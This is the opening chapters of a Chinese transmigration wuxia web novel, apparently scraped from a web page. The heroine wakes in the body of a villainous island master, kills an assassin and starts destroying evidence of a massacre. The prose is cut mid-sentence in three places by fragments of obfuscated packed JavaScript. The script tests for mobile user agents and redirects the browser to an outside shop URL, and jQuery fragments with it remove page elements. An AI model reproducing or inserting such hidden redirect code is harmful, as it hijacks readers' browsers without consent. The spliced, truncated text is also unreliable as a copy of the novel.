《丢掉那个反派剧本》 1. 穿书误入刺杀现场 “哈哈……哈哈哈哈哈,冯一天那老贼夺走善恶岛十余年,今日终于让我大仇得报!你们父女二人就去地下团聚吧!” 柳条随风而动停在半空,男人的面容定格在癫狂的狞笑中。 池岁寒眼前白雾渐褪,地铁上的嘈杂报站声还未从她耳畔消失,方才与同事要说的话还未出口,眼前却已变了模样。 一把刀尖泛黑,淬了毒的短刀正横在自己颈前。 这是怎么回事?! 未等她的大脑处理这荒谬的处境,就见时间重新流动如常。 男人厉喝一声,刀尖直直向她咽喉刺来。 生死一线间,无尽的恐惧将她的灵魂钉在原地,动弹不得,这具新的身体却已经率先做出了反应。 几乎是野兽求生般的本能驱使着她猛得后仰,刀尖擦着她的下颌刺入石椅靠背,发出一声清脆响声。 一击未中,刺客立刻翻腕,刀刃横扫向她的脖颈。 池岁寒瞳孔紧缩,只觉得肾上腺素将她的全部潜力都激活了。 她左手探出,竟用蛮力生生将那刀停在只离自己不过三寸之处,掌心虽然鲜血淋漓,但她却丝毫感觉不到疼痛。 与此同时,她只觉右手似乎凝聚了些看不见的力量,一掌劈向男人面门。 顷刻之间,骨头碎裂的声音在她耳边炸开。 血液四溅,浓厚铁锈味直达鼻腔,温热粘稠的液体自她额头一路滑落,最终挂在睫毛末梢,一滴一滴落在玄色衣摆之上。 “……” 池岁寒坐在石椅上,浑身僵硬。 她从小到大连鸡都没杀过,何时见过这般景象,大脑才一反应过来,她便感到胃里翻江倒海。 她想尖叫出声,却发现极度的恐惧早已让她失去了移动的能力。 于是只能面如死水,双目空洞地坐在那死状凄惨的尸体前,满身鲜血,仿佛地狱走出来的罗刹。 台下黑压压坐了百十余人,心中皆惊恐万分,他们这位新岛主一掌拍飞了刺客的头后,眼睛竟都未眨一下。 场上无一人敢出声,众人齐齐将头磕在地上,生怕那如死水一般的眼睛下一秒扫向自己,也顺路送他们去见阎王。 一阵宛若刀搅的剧痛从五脏六腑传来,她猛地弯腰,呕出了一大口黑血。 她中毒了。 在那黑血吐出的瞬间,一阵剧烈头痛袭来。 她脑中浮现出一对温柔夫妻,两个相伴的同龄女娃娃,随后是漫天的大火,与一双恨不得将她千刀万剐的双眼。 无数不属于她的零散记忆涌入,迫使她不得不接受现实。 她穿书了。 穿进了自己摸鱼时看的重生复仇文中,那个和自己同名,臭名昭著的最大反派身上。 三个月前,原主刚刚血洗了天下第一镖局天狼山庄,又在今日设计偷袭,杀死了自己那恶贯满盈的亲爹,夺走了善恶岛岛主的位置。 方才那个刺客,便是蛰伏于岛上,只等原主与亲爹两败俱伤之时,坐收渔翁之利的再前一任岛主。 理清现状后,池岁寒只觉得如坠冰窟。 血债已成,两个月后书中女主傅莺莺便会带着前世记忆重生归来,将原主阴谋一一昭告天下,最后率领江湖各门各派将原主逼入死路。 届时等着她的,便只有被正道围剿,鏖战七日后力竭而亡,遭人挫骨扬灰,连个全尸都没留下。 大写的死局。 善恶岛奉行弱肉强食,她方才那一掌虽震慑了台下众人,但若是她此刻露怯,难保台下那些唯利是图的亡命之徒,不会一起扑上来将她生吞活剥。 池岁寒闭上眼睛,深吸一口气,将所有濒临崩溃的情绪强行压进心底。 这是她在现代社会摸爬滚打二十多年总结出的唯一真理,越是绝境之中,越要保持冷静。 她与这些书中之人不同,她知晓未来一切,又接受过更先进的教育,只要掌握先机,未必不能给自己找到活路。 冷静下来她才发现体内各处早如烈火灼烧般刺痛不止,她下识抬起手沾满鲜血的双手,点在自己胸口的几处穴位上。 哪怕她根本不懂武功,但这具千锤百炼的躯壳却有着自己的记忆。 一股温热气流随着她心中所想缓缓流入胸腔,在她的经脉之中游走,原本遍布四肢的烧灼之感渐渐收拢,在胸口处汇作一团。 她转手便向自己胸口打出一掌,方才郁结于心口的黑血这才吐出,缓解了体内灼烧之痛。 这便是天下第一的内力。 毒素虽被压制,空气中血腥气却仍未散去,初时池岁寒只觉得恶心,如今内力却仿佛被这血腥气吸引般躁动不堪,一股无名戾气突然涌上心头,叫嚣着想要再多杀几人泄愤。 她自知无法压抑住这骨子里带的暴戾,只得朝着山崖挥出一掌,强硬的内力便瞬间如蛟龙出海,将面前悬崖之上千斤重的巨石瞬间化作齑粉,融进风中,如细雨般洒向地面。 这一掌几乎耗尽了她所剩不多的力气,却也消解了她心中的烦躁,更彻底震慑住了台下众人。 池岁寒不动声色地将宽大衣袍收拢,盖住了自己微微颤抖的指尖。 毒已解了八成,性命无忧,剩下的只能等到安全之后再说。 她眼下的当务之急,是在这群狼环伺的善恶岛上,继续扮演这喜怒无常,杀人不眨眼的疯子。 “岛主息怒,奴婢这就给您擦干净。” 一片死寂之中,响起了一道微弱的声音,这声音的主人虽已尽力保持声音平稳,却还是没能藏起话尾的颤抖。 一名侍女跪坐在地,一步一步爬至池岁寒脚边。她的头低得极深,眼神未往那尸体上瞟哪怕一下,只是拎起自己的裙摆,颤抖着为池岁寒擦拭着鞋尖衣摆上的血污。 池岁寒垂眸看着那瑟瑟发抖的侍女,轻哼一声。 她心知此地绝不能久留,自己体内余毒未清,强行运转内力不过是虚张声势。台下这上百双眼睛如狼似虎,多待一刻,都有露出破绽被群起而攻之的风险。 她从侍女手中将脚抽出,目光扫过台下众人,刻意压低了嗓音。本就有些清冷的声线此刻听来更让人寒颤:“都滚吧。” 此话一出台下诸人皆如同得了大赦,连滚带爬走得一干二净,生怕这位新岛主下一秒就改了主意大开杀戒。 高台之上,只剩方才的侍女还留在池岁寒身边。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371384|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 池岁寒靠坐在石椅中,暗自长舒一口气。她瞥向那侍女,语气中带着些危险的试探:“你为何不走?” “回岛主……奴婢是您的侍女,理应侍奉在岛主身边。” 她的声音抖得厉害,抬头时却仍卖力挤出了一抹讨好的笑容。 只是笑得比哭了还难看。 池岁寒只需一眼便知,此人毫无内力,是个对自己毫无威胁的普通人。 但她能在方才那般高压之下抑制住逃跑的本能,在此刻冒死向自己表忠心,便足以见得也颇有心思。 是个可用的聪明人。 “你叫什么?” “回岛主,前任岛主没有给奴婢赐过名。” 前任岛主便是那个作恶多端,几个时辰前才被自己亲生女儿偷袭,吸干了内力的冯一天。 池岁寒俯身看向她,只见她原本素白的衣裙上也溅了不少血渍,反倒如冬日寒梅,好看了不少。 “那便唤你红绢,你这衣服红白相间甚是好看。” 红绢顺着她的目光看向自己身上的血迹,脸色又惨白了一些。她不知这位岛主是何意思,只得重重将头磕在地上谢恩:“奴婢红绢,多谢岛主赐名。” “岛主此前一直在后山修炼,对岛上这些路许是不大熟,红绢斗胆为岛主领路,回安神殿休息。”她虽胆小,却十分擅长审时度势,确认性命无忧后便从容许多。 池岁寒正愁不认路,便顺水推舟点了点头。 此去安神殿仍有些距离,好在夜风终于吹散了她身上残留的血腥气。池岁寒一边从红绢口中套出岛上的规矩与冯一天的过去,一边在脑中盘算着自己当下的处境。 她虽保留了原主一身的高超功夫可做保命的底牌,但关于那最重要的天狼山庄灭门当日的记忆却是一片空白。 好在她读过原著,而揭露灭门案真凶在其中又是主要情节,她十分清楚傅莺莺重生后是靠哪些铁证,将原主真凶的身份戳穿的。 既然她已经接下了这个烂摊子,就决不可能坐以待毙。 未来两月内,她只需赶在所有人察觉之前将这些人证物证彻底销毁,此案便只能是死无对证。 等到那日,就算傅莺莺磨破了嘴皮,她也可以将这盆脏水泼在原主那已经死透了的反派亲爹身上。 反正他本就是个恶人,死都死了,不如替他的好女儿背下这一口黑锅,也算是死得其所。 父爱就是如此深沉的。 思路终于清晰,池岁寒心中的不安惊恐已被压下大半,取而代之的是求生的本能。 安神殿修建于善恶岛上最为偏僻高耸之处,行至山脚,还需再爬几百层石阶才能到达。 若是放在现代,她要想爬完这陡峭石阶恐怕要累得只剩半条命。但如今这副身体锻炼多年,即便她已经减慢了内力运转,却全然不觉得吃力。 倒是提着灯笼的红绢,虽咬紧牙关不露声色,呼吸声却渐渐重了起来。 才至安神殿门口,红绢倏然停下脚步,提着灯笼的手猛地一哆嗦。 昏黄火光晕剧烈晃动,照亮了安神殿高耸玄铁门前的一角阴影。 红绢大惊失色:“你在这里做什么?!” 2. 陌生男子何故纠缠 池岁寒才刚刚迈上最后一级石阶,还未放松的神经被这一声惊呼又吓得紧绷起来。 她几乎条件反射地顿住脚步,袖中右手已悄悄蓄住了足以崩裂碑石的内力。 暗处,一双映着灯笼光晕的眼睛正死死盯着她。 红绢提着灯笼朝前走几步,终于将那人影照了个清楚。 那是一个约莫只有二十岁左右的年轻男人,身形修长却十分消瘦,头发如枯草般遮住了大半张脸,难以分辨长相。 他身着粗布衣,裸露在外的脖颈与手腕上,布满了触目惊心的青紫淤青。 他身上散发着浓烈又诡异的气味,并不只是常人久未沐浴的酸臭,而是一种极苦,极涩,仿佛被浸泡在药渣里发酵了十几年的药味。 池岁寒眯起眼睛,从头到脚打量着面前的男人。 在原主的记忆碎片里,她对这个男人毫无印象,书中亦未曾提及。 红绢见此人一声不吭,生怕他惹了新岛主不快,连累自己。于是壮起胆子快步上前,伸手便要去拽他:“没规矩的东西!谁准你靠近安神殿的?还不快走!” 红绢的手还没碰到他的衣角,那男人竟直挺挺地朝着池岁寒的方向扑通一声跪了下去。 池岁寒不知这是哪出戏,不敢妄动,手中蓄着的内力又多了几分。 一个浑身是伤,散发着诡异气味的男人,三更半夜的时候堵在自己家门口。 可疑极了。 “岛主恕罪!”红绢吓得立刻退回池岁寒身侧,压低声音快速解释道。“此人是前任岛主养在药坛子里的药童。奴婢也不知他发了什么疯,竟敢跑到这里来挡您的路!” 药童? 池岁寒对这二字略有印象,她手刃亲爹冯一天时,正是冯一天开启吸星阵,准备吸食药童的内力以突破功法,才被原主抓住机会一击毙命的。 但也只限于知道药童是做什么的罢了。 她对这个男人毫无印象,原主的记忆碎片里也找不到他。 换而言之,此人在大抵只是个无关紧要的路人,与她的生死之局毫无关系。 池岁寒懒得在一个炮灰身上浪费时间,不耐烦地挥挥手。 “带走,莫要扰了我清净。” 红绢连忙应声,上前去拽那药童的手臂。 可任她使出了吃奶的力气,地上那个瘦骨嶙峋的男人竟纹丝不动。 “属下有事想向岛主禀告。” 男人终于开口,嗓音十分沙哑,仿佛多年未曾说过话一般。 他缓缓抬起头,接着灯笼光,池岁寒终于看清了此人杂乱头发下的双眼。 那是一双黑得十分纯粹的眸子,此刻静静地盯着池岁寒,却不似其他人,其中没有过多对上位者的敬畏恐惧,亦或谄媚,只有一种近乎病态的专注。 仿佛他是刚从地狱爬出的恶鬼,找到一处光亮后便移不开眼睛。 那双眼之中承载了许多池岁寒看不懂的情绪,但却并不危险,起码直至此刻她从未从此人身上感受到过杀气。 可她甚至不认识此人,更不可能知道这些感情从何而来,是好是坏。 在这个节骨眼上,她不容许任何变数。 “我让你滚,没听到吗?”池岁寒的声音里已带上了不容置喙的杀意。 她无心继续与此人纠缠,只想尽快找一处安全之所,调息内力,将体内余毒尽早排出。 药童仍不为所动,执拗地看着她。 池岁寒耐心已尽,正想直接出手清理门户之际,身后石阶下,突然传来一道截然不同的男子声音。 “岛主息怒,此人惯是个犟种,此时非要留在这儿,想必是有要事想向您禀报,不妨一听如何?” 池岁寒回头,身后长阶处缓缓走上来一名青衣男子,身形挺拔,肤色略深,看面相应有二十七八。 男子步伐轻盈,落地无声,显然也是个高手。 他几步走到池岁寒身边,利落地单膝跪地,双手抱拳,脸上堆满了恰到好处的谄媚:“拜见岛主,在下元向安。” 元向安? 她还没抽出空来找他,此人倒是自己找上门来了。 此人应算是自己的左膀右臂,是书中唯一一个曾与她站在一条战线之人。 池岁寒撇过头去,冲那药童冷冷道:“说说吧。” “回岛主,属下几日前在后山偶见一人,从……”他瞥向元向安,眼中迸发出毫不掩饰的杀气。“从元向安处换得了一味剧毒,能瞬间灼伤内脏,让人暴毙而亡,名唤三更天。” “属下今日从岛众口中得知,有人以毒行刺,因此特来禀告岛主。” 红绢的目光在这二人身上反复移动,下意识后退了一步。 元向安闻言,脸上却无半点被戳穿的慌张,甚至还对着池岁寒笑了笑,缓缓回道:“药童所言句句属实,那毒药确实是我给的。今日半夜前来叨扰也是为了给岛主您送解药。” 池岁寒一时不知这二人葫芦里卖得是什么药,并未作声,静静看着元向安从怀中掏出一个玉盒。 “此毒原料难寻,解药更是千金难求,在下也只有这一颗,请岛主收下。” 池岁寒冷笑一声,一双眼睛阴冷如冰山般盯着元向安。 “今日那刺客,也是借口献上宝物以此对我下毒。你猜,我会不会吃你呈上的这颗不知是何的药丸?” 元向安一伸脖子刚要作答,池岁寒的手便赶在他开口之前钳住了他的喉咙,指尖传来他颈部动脉剧烈跳动的触感。 元向安此刻满脸通红,呼吸不畅,脸上却仍旧笑意未减。 “岛主自己便可解掉那三更天的毒之八成,我若还想着给您下毒,未免太不自量力了些。” 他努力将脸凑到池岁寒耳边,用只能他二人听到的声音说:“岛主妙计。” 妙计? 池岁寒并不知他在说什么,但此番言语却像极了自己与他之间曾有过什么约定。 不过哪怕是毒,她只需将这药丸以内力锁住,发现不对便直接吐出即可,虽可能损些内力,但总归不会伤及性命。 她盯着元向安的脸,脑中突然闪过了一个画面,是元向安跪在身前,她自己从怀中掏出玉瓶丢给了他。 那毒药是原主给出去的?! 池岁寒尝试着再回忆些许,头便痛了起来。 她只好作罢,随手将元向安扔在一旁,打开那玉盒,从中取出解药吞服下去。 她虽知此事应是原主与元向安计划好的,但自己不知详情,自然不敢完全放心。自药丸入体便由内力护着,慢慢将其消解开来。直至确认并无异常才终于安心,任由解药流遍全身,将她体内的余毒一一解了。 她又将目光放回药童身上,低声询问:“你叫什么?” 药童低声回答:“旺福。” 池岁寒愣住半刻,试图从此人的脸上看出是否有戏耍之意。 但他神情严肃,目光坚定,似乎并未觉得这名字有何不妥。 竟然是真名。 她给狗都不起这种名字了。 池岁寒深呼一口气,将这股与眼前氛围全然不符的荒谬感压下去。 记忆中她曾在冯一天书房中看了不少书,其中便有对药童的记载。 据殿内资料记载,药童应被困在药坛中直至死亡,因而常因药罐位置狭小而骨头扭曲,状似非人之物。 但面前这人虽然瘦弱,却可见隐约肌肉轮廓,骨骼发育也并未畸形,与书中描写不尽相同。 此人莫非并不是一直待在那药罐之中的? 可若是如此,冯一天从未发现过吗? 池岁寒走过去蹲在他面前,将手指按在他经脉之上,方一触碰,便能感觉到他体内磅礴内力,如涨潮之水在经脉间奔流不止。再想深入探查,竟被他内力反噬,震得手掌发麻。 此人内力之深厚,竟远超前任岛主冯一天。池岁寒瞬间冷汗直流,后退几步拉开距离。 如今自己余毒才解,内力折损,若真动起手来并不一定是他的对手。 她心中满是迷茫,书中写她的实力可谓碾压江湖,眼前这人虽不及全盛的自己,也应是一人之下万人之上,如何会在她的记忆中毫无着墨。 一个更可怕的想法在她脑中形成。 因她的到来,既定的剧情出现了偏差。若真是如此,恐怕不能完全按照她自以为的时间节点行动,还需先下手为强。 “你们都先起来吧。” 她本想着若真有书中未曾出现过的可用之人,亦可当作变数,说不定会有奇效。可如今这药童实力如此之高,她并无信心能够栓得住他。 元向安起身,颈间红印还未消除,低头小心翼翼开口:“岛主,在下得知您才夺下高位,身边缺少可用之人,所以斗胆自告奋勇,想为岛主做些什么。” 池岁寒抬手,指尖轻扣于元向安肩上,沿衣服纹理一路移至他脖颈处,摩擦着尚未消去的指痕,重新钳住他的脖子:“若你敢背叛我,会死得很惨。” 元向安不敢妄动,脸上已无嬉笑之意,郑重说道:“岛主放心,若是有一天元某背叛了岛主,一定洗干净脖子等着岛主来取我性命。” 池岁寒面色如常地点点头:“过几日我要出岛,你随我一起吧。” 元向安眼眸闪烁,不假思索答道:“属下遵命。” 话音未落,那药童便一个箭步上前跪于池岁寒膝前:“请岛主也带上我。” 池岁寒不知为何此人要缠着自己,偏偏他不似红绢般全无威胁,只是随意带在身边也无妨。 “你一个药罐子里泡出来的,我带着你干什么,渴了喝你的血还是饿了吃你的肉?” 药童顿了顿,坚定答道:“岛主英明,属下血肉确有滋养内力,强身健体之效,定可帮上岛主。” 池岁寒哑然失笑,这药童本就是无数珍稀药材滋养出来的,有此功效并不意外,但此人这般反应,倒真像是做足准备给自己当食粮一般。 既如此,似乎未尝不可。 元向安虽也不知药童所图何物,但此般坚持反而让他期待起未来之事,于是拱手道。 “岛主可能有所不知,药童年幼时跟在老岛主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371385|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边习武,身手虽不顶尖但亦够用,他这身子是无数灵丹妙药养出来的,内力深厚,即便在岛上也当属前列。” 池岁寒冷眼看向元向安,原书中也未提及此人与药童相识,何故突然帮他说话? 这二人之间还有什么自己不知道的勾当? 池岁寒只能赌,赌元向安如书中所写,忠心不二,赌药童布局深远,不会在近日有所行动。待到她身体恢复,能够熟练运用内力之时,即便有意外也自能够脱身。 “你这个名字太难听了,以后在外面你就叫池戟,是我失散多年的弟弟。” 药童起身,双眸一亮,嘴角是压不住的欣喜。 池岁寒指了指红绢:“你是我从人贩子手里买下的侍女。” 又指了指元向安:“你是在我游历时救过我一命的前辈。” 元向安摸摸下巴,似乎对这个身份十分满意,点点头毕恭毕敬道: “与女侠同行是在下荣幸。” 按照掌握的时间线,目前还没有人注意到天狼山庄残留的线索,时间还算充足。池岁寒犹豫过是否直接出岛,以免夜长梦多,但还是决定多留几日,再熟悉一下这具身体——不求多厉害,但求能逃命。 “七日后出发,这几日没有要紧事不要来找我。” 池戟抬头看了池岁寒一眼,眼里似有不解,但很快便被欣喜取代。 他没问原因,也没多嘴,起身与元向安一同安静离去。 池岁寒盯着这二人并排离去的背影,脑中仍在猜测可能的阴谋。 红绢小心翼翼地发问:“岛主,我们此次出岛去哪里?” 池岁寒拿起腰间的玉佩,玉佩上刻着天狼山庄四个字:“回我长大的地方看看。” 红绢自知无需多留,便也退下了。 池岁寒步进院中,偌大的院子里只有她一人,与萧萧树声作伴。 她在院中坐了半晌,才终于将池戟对上了号。 此人不过是原主手刃冯一天时的背景板。只是那时他被绑在一旁,又脏又臭,原主放了他后多看一眼都嫌麻烦,直接离开了。 原来那所谓的恩,只是原主不稀罕他这口苍蝇肉,随手斩断的几条铁链罢了。 池岁寒笑笑,心说真是讽刺,上位者的无心之举就能影响下位者的一生。 她不再多想,转身走入殿内。 安神殿风格质朴,家具摆设看起来也颇有些年头,一眼看过去除了大些,只剩下寒酸二字。 好在殿内屋子不少,池岁寒不必去冯一天从前的屋子休息。 死人住过的房间,怪晦气的。 她躺在床上,思考着如何从既定命运中全身而退。 意识到这是书中世界后,她第一时间想的是直接除掉傅莺莺,但又觉得不妥。主角说不定有气运在身,杀了可能更麻烦。 既然杀又杀不得,索性保护好她便是。 书中傅莺莺是在清月山上养伤时遭原主偷袭重伤,才得以知晓前世记忆。她只需护住此人,避过重生之时,自然没人会知道那血案真凶是谁。 等到做好一切安排,天已大黑。池岁寒久未放松的身体终于被疲惫吞没,不消片刻眼皮上就如放了秤砣一般再无法睁开。 窗外风声渐弱,四周出奇的安静。 梦境之中,一双锐利双眼突然闪现,随后便是一道刀光直劈面门,这一刀直直刺入她的胸膛。池岁寒伴着一身冷汗惊醒,心脏早已如锣鼓般跳动撞击耳膜。 四下虽无人,可那股被人窥视的彻骨寒意却挥之不去 她起身望向窗外,只见柳条微微摇晃。 可外面分明没有风。 池岁寒立刻闪身站在未被月光照到的角落中,心跳声在寂静夜晚中被不断地放大。 她屏住呼吸等了许久,仍未听见窗外有任何不寻常的声响。窗外唯有孤月一轮,繁星几个,万籁俱寂。 难道是自己太疑神疑鬼了? 她心有余悸地重新检查了一遍屋子,确认只有自己一个人后才重新躺下。可刚一闭上眼,方才梦中的那些魑魅魍魉便又找上门来,令她无法安睡。 池岁寒蜷作一团,将被子紧紧裹在身上,试图寻得些许安全感。 可黑夜漫漫,无人可依,在这样一个陌生的,满是仇敌的世界,行错一步便是无底深渊。 她心知自己没有难过的时间,却仍忍不住将白天里压抑的情绪都释放了出来。 她将脸埋入枕间,努力将哽咽吞回腹中。 黑暗中只剩一对微微颤抖的肩膀,与枕头旁被洇湿的布料。 窗外树影后,池戟将紧握的十指缓缓松开。 他的掌心已被掐出月牙形的血痕,可他却仿佛浑然不觉。 他才刚恢复自由不久,身子仍有些迟钝,池岁寒醒得突然,他躲藏时不小心碰到了身边柳条,险些暴露了行踪。 若是被发现了,只怕便无法说得清了。 夜已太深,屋内的哽咽声即便已十分压抑,却仍传进了池戟耳中,如细针般扎进他心里。 她竟也会这般哭泣。 3. 毁证 天狼山庄曾是天下第一大镖局,山庄建于羌阳城外,依山傍水,庄内各处都请上好的工匠雕刻了山庄暗纹,灯笼上下各嵌一枚玉石,一路延至内院,夜晚灯火通明之时,不同玉石各自辉映,其光芒亦不相同,也因此被列作羌阳奇景之一。 只是可惜,过去如何风光,如今也只剩一片狼藉。 官府早在灭门案发之时就已将尸体收走,但全庄上下几乎没留活口,自然无人打扫,血迹早已干涸渗入建筑,正午时还能闻到地面散发出的淡淡血腥味。 池岁寒见此景,脑中便又多了些那日血洗天狼山庄的零散画面,可惜只是碎片,仍是无法拼凑出那日全景。 原本奢华的牌匾掉在门前碎成三块,镶嵌在四角的红宝石早已经被人撬了去,纵然天狼山庄在此护佑一方多年,一朝陨落,仍是被周围的人趴在尸体上将每滴血都吸食干净。 元向安站在牌匾前,面色沉重,低头念着佛家超度亡魂的经文,随后从袖中掏出小刀,将牌匾上的金粉削了下来。 池岁寒面露不解看向红绢:“我们已经穷到这种地步了?” 红绢讪讪地笑了笑,元向安不觉有什么,手上动作没停,头也不回地回复道:“积少成多,虽然现在金粉不多,但天狼山庄处处都以金粉为饰,若全收集起来也值不少。” 池岁寒很赞同,抬手将池戟招呼到身边吩咐:“一会进去你多留意一下挂饰房檐之类的地方,若是还有没被人拿走的翡翠玉石就都装着。” 池戟点了点头:“知道了,岛主。” 池岁寒转头瞪了他一眼:“我说到了外面要如何称呼我?” 池戟顿了顿,低下头,耳根微红,低声回答:“知道了……阿姐。” 四人兵分两路,池岁寒将其他三人遣散,自己直奔后山藏书阁。 天狼山庄虽成立不久,但前身羌阳镖局已有百余年历史,且有一套自己的心法秘术,经第一任庄主精进后形成了一套更加完备的心法,收藏于藏书阁中。 原主在血洗天狼山庄前,先一步到了藏书阁,将守书人杀了做成人皮俑,放在门内以作掩饰,自己则将这秘籍偷了出来。 人俑炮制方法复杂,不易损坏,正因如此,天狼山庄的大火烧了三天,仍未将这人皮俑烧个干净,此为第一处物证。 藏书阁如今只剩一座空楼,多少珍惜藏书,武林秘籍,皆在一场大火之中化为灰烬。 一打开门便是扑面而来的尘土,呛得池岁寒不自觉眯起眼睛,抬手以衣袖掩住口鼻。 她循记忆走到一处木架旁,伸手摸索许久方才找到机关摁下。木架后的墙体缓慢旋转,露出了身后石室,她一走进便见原本存放人俑的木桶已成木灰,但人俑却还剩下一半,软趴趴的皮堆在地上,仅剩的一个眼眶恰好对着密室进门的方向。 她虽不迷信,但仍是一瞬间汗毛竖起,心脏跳到了喉间。 人俑皮肤的纹理甚至清晰可见。 她不自觉地与人俑对视,脑中像惊雷轰地般炸开。 年少时与守书人相处的点滴,守书人死前不甘疑惑的双眸皆烙在了她脑中。池岁寒跌坐在地,越是大口呼吸试图冷静,越是能闻到空气中人皮被焚烧后的味道。 她几乎要无法呼吸。 她的恐惧并非全来自于这具人皮,随记忆而来的是原主当日杀人剥皮时的心情。毫无悔恨不甘,甚至有一丝病态的快感,而这快感此刻正如附骨之疽般爬遍她全身。 池岁寒一时恍惚,她究竟是在为了活下去毁灭证据,还是替一个恶人掩盖罪行? 时间紧迫,容不得她多想。 有些事情若想得太清楚,她便无法再走下去。 她将视线移到别处,只在余光里瞥见人俑的大概方位。随后将烈酒洒在人俑上,以火折子点燃,浓郁的酒精气掺杂着皮脂燃烧的味道很快充满了整个密室。 池岁寒站在门边,虽面朝石壁,却仍能感觉到经过特殊处理的人皮在地上因高温而蜷缩变形,然后一点一点变成灰烬。 余光里,变形的人皮恰好在嘴的位置堆成了一个笑容,阴恻恻地盯着她的背影。 她再无法忍受,闪身走出密室,双手环胸,指尖掐进手臂,留下道道抓痕。 疼痛短暂地将她的注意力移开,才不至于当场吐了出来。 池岁寒等了差不多半个时辰,堵住口鼻小心翼翼地打开了密室门,令人作呕的味道仍未散去,熏得她眼睛也无法睁开。 原本的半个人俑只剩下了一堆粉末留在地面,四处检查确认再无遗漏证据,她才放下心来。 她此刻心中只想尽快离开此地,便头也不回地走出密室,直奔院门而去。 山庄门口,元向安和红绢已等候多时。天狼山庄一事过去已有几月,残存资料几乎都已被官府收走。元向安找到了几处暗格,并无收获,不知道是官府的人搜查的仔细还是在他们之前就有人来过。 元向安伸着脖子看了看池岁寒的身后,没见池戟的影子:“令弟呢?” 池岁寒一惊,她一时紧张竟忘了盯住池戟,现在已经过去半个多时辰,若是池戟早早搜完也进了藏书阁,看见了她的所作所为该怎么办? 杀了他吗? 池岁寒只好故作镇定,免得被元向安看出破绽:“估计是还没搜完。” 元向安看了看她,点点头没再说话,走到一边低声吹着口哨。 半炷香过后,池戟提着麻袋从内院中走出。 “议事堂主座背后有一个密室,想来是没被人发现,里面装了不少的奇珍异宝,我挑了几个好拿的都带上了。” 池岁寒压下心中慌乱,眼神故作不经意地扫过他,只见池戟面色如常,但鞋尖颜色略有不同,似是沾上了后院新泥。 他身上还带着极其细微的,与那人皮俑焚烧时如出一辙的焦糊味。 池岁寒心中警铃大作。 他在撒谎。 他进过那间密室。 此事无法声张,池岁寒只得将怀疑与试探之心暂且压住。 她装作无事发生,对元向安说道:“你过几日回岛上,带几个信得过的再来一趟,把密室里的东西都带走卖了。” 元向安做为难状:“池大小姐,越是稀罕物件越容易被认出来,卖出去容易,可要是被发现,只怕江湖上那些道貌岸然的老东西会把天狼山庄的事全推到我们头上。” 池岁寒冷笑,心说这倒是没错,原主大手一挥把天狼山庄灭了,烂摊子却都到了自己头上。 “元前辈在江湖中人人喊打这么多年,总不至于一点渠道都没有吧。” 元向安露出狡黠的笑容,凑到池岁寒耳边:“我要吃一成的回扣。” 池岁寒点头:“可以。” 天色已晚,几人驱马返回羌阳城,找了一间不起眼的客栈住下,客栈酒钱虽然便宜,吃的东西倒也没辜负这个价钱,无滋无味,嚼起来如干柴一般。 第二日元向安带着搜刮来的宝贝前往邻镇,他在那边的黑市有不少熟人,方便处理。 池岁寒几笔勾勒出一幅画像,虽不精致但神形俱存,池戟收下后便前往城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371386|199922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中寻人。 红绢独留客栈以作接应,池岁寒则孤身一人驱马朝城外而去。 她不想此行目的为元向安所知,此人油滑,太难看出真心,总让她有些抵触。 选池戟留下亦非信任,而是眼下刚出善恶岛,此人是留是除需早做打算,如若今日探不出他真心,杀了也无妨。 羌阳城内,池戟遵循画像处处留意,终于在胡同中寻得此人,衣衫褴褛,神志不清,已经成了叫花子。 他不想费事,直接绑了这叫花子扔上马朝城外赶去。 池岁寒约定于城外矮山会和,此处已是寻常人家能寻得的风水最好之处,用来长眠亲人,自是最好不过。 石碑前火光荧荧,她出门时采买了许多纸钱,正随意将其丢入火中。 摇曳火光映于她脸上,忽明忽暗看不清表情。 若只看人,自当以为是祭奠亲人,但池岁寒身边摆的却是一具半新棺椁,尘土未净,显然是刚被掘出不久。 此地虽是平民墓地,但眼前棺椁却以檀木制成,金丝勾勒,已是皇亲贵胄之外的顶级,想必棺内人身家颇厚。 池戟走上前去,随手将叫花子扔在地上。 池岁寒回头,背对火光而坐。方才满脸痴傻的叫花子一见池岁寒的面容,便如受了刺激一般,双颊肌肉抽搐,喉咙深处发出困兽般沙哑的嘶吼。 池岁寒看着他,一时竟有些难以置信。 她记忆中的北极先生仙风道骨,虽已上了些年纪,却身形挺拔,步伐扎实。平日里也大多是和蔼可亲,温文尔雅的。 此刻这叫花子哪还剩什么文雅,面色狰狞,如今竟在一旁低声咒骂。 池戟安静立于一旁,呼吸声融入风中,若非刻意找寻,实不可察。 北极先生躺在地上费力挣扎,紧盯着池岁寒,目眦欲裂。 